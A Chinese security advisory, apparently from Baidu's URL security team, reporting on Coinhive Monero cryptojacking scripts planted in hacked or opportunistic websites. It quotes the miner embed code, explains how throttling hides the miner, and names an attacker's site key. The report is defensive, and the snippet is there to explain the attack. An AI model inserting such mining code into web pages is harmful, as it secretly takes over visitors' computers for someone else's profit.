近日百度网址安全中心同学监测发现一些网站页面中被植入了恶意脚本,打开后会占用大量CPU资源。经过分析发现网站中被植入的脚本是在线挖矿脚本,通过浏览器访问这些站点时挖矿脚本便会在后台执行占用大量CPU,电脑因此会变慢或卡顿,严重影响了用户的上网体验。 武汉高防服务器
浏览器打开此页面后电脑明显变慢,查看电脑任务管理发现CPU使用率立即大幅上升,闲置不到36%。关闭页面后CPU利用率立即下降,闲置超过97%,被占用的大量CPU正是被用来挖矿
提供了可植入到网站页面中的门罗币挖矿JavaScript API,只需植入到网站页面中用户访问时便可实现门罗币挖矿。
门罗币 (XMR) 是基于CryptoNote协议的新一代匿名虚拟货币。门罗币所有的交易都是保密的,你可能知道发生了一笔交易,但是诸如金额、资金流向等交易的内容是无法被追查到的。
不同于比特币,门罗币挖矿Cryptonight 算法是专门设计,能够很好的在网页上运行。网页“挖矿机”开始变得可行。
同时Coinhive 提供的挖矿JavaScript API 使用非常简单,只需要在页面中加入如下的代码:
<script src="<https://coinhive.com/lib/coinhive.min.js>">script>
<script>
var miner = new CoinHive.Anonymous('SITE_KEY'[, options]);
miner.start();
script>
‘SITE_KEY’ 参数是在Coinhive网站注册后创建的,是一个挖矿API Key用于植入到挖矿JavaScript API中,挖矿的收益将归属于此API Key对应的账户。此外注册用户还有一个不对外公开的Secret Key用于验证令牌或者获取账户余额。
可选参数‘options’可以定制挖矿线程的空闲时间比例,从而达到调整挖矿脚本在用户电脑上占用CPU比例的目的,这样使得挖矿行为变得更加隐蔽,用户也难以察觉。
Coinhive网站宣称如果站点保持10-20个活跃矿工,当前挖矿难度下每月会有0.3个门罗币的收益,约155元人民币(基于2017年10月11日门罗币交易价格计算)。Coinhive挖矿服务于2017年9月14日推出,声称站长再也不需要在网站中加入广告来赚取收益只需要在页面中嵌入Coinhive挖矿代码让用户的电脑为其挖矿即可,所谓挖矿代替广告。此想法看上去很美好,但并非用户本意,是以损害用户体验为代价的。然而在利益的驱使下,不少网站都加入到了门罗币挖矿的大军中。
• 网站并非都是主动参与挖矿
目前检测到植入挖矿脚本的站点类型分布如下:
占比最多的是企业网站比例高达62%,排在后面的依次是色情、博彩、游戏、小说以及视频等类型网站。
企业网站本身流量较小,加入该类脚本并不能产生太多实际收益,通过对脚本的分析发现,这类网站安全性较弱,有较多证据表明属于被黑,历史上发现不少企业网站被黑的案例,被黑植入的内容以博彩、色情等非法信息为主。而此次发现的站点被黑被植入的内容则以挖矿代码为主,利用用户的电脑挖矿并非站长的意愿。
色情、博彩、游戏等网站具有访问量大以及用户停留时间长的特点,植入挖矿脚本后将会受益可观,站长可能会主动在网站中植入挖矿脚本。
2017年10月来检出的挖矿站点数量呈现上涨趋势,越来越多的站点被发现植入了挖矿脚本,因为被黑而被动参与挖矿的站点也在增多。
随着挖矿站点数量的增加以及发现了一些高PV的挖矿站点,监测到的受影响用户PV增幅明显。
现在黑客又多了一条从事黑产的途径,那就是在入侵网站后植入挖矿恶意脚本。下图所示是一批被黑站点中植入挖矿恶意代码中的一例,这批网站的挖矿的API Key都为同一个(“JY0YwxRsjemcIxmBeLyup2loNaSqOOyn”),挖矿的收益将都归属于该API Key对应的账号所有。
而要想获知该账号的所有者到目前为止还没有太有效的方法。
网站黑客入侵篡改是常见的安全问题,据百度网址安全监测的数据显示近一年来有超过60万个站点被黑后篡改了违法内容。现在入侵网站篡改的内容已经扩散到挖矿恶意代码,如此大量的被黑网站也为黑产提供了空间。按照观测到的被黑站和专门诱使用户挖矿的网站 (例如色情网站,近一年观测到的站点数量超过300万)计算,国内网页挖坑的市场规模十分庞大。
百度坚持打击各类网络黑产行为,以保护广大网民的体验和权益。对检测出包含挖矿恶意代码的站点,百度搜索都会严肃对待、进行干预处理,同时在用户访问此类网站时,手机百度等软件都会进行相关的风险提示。
保护用户体验是百度和每个站点的责任,在此百度安全呼吁各网站站长做好安全防护,避免被入侵成为挖矿黑产的受害者。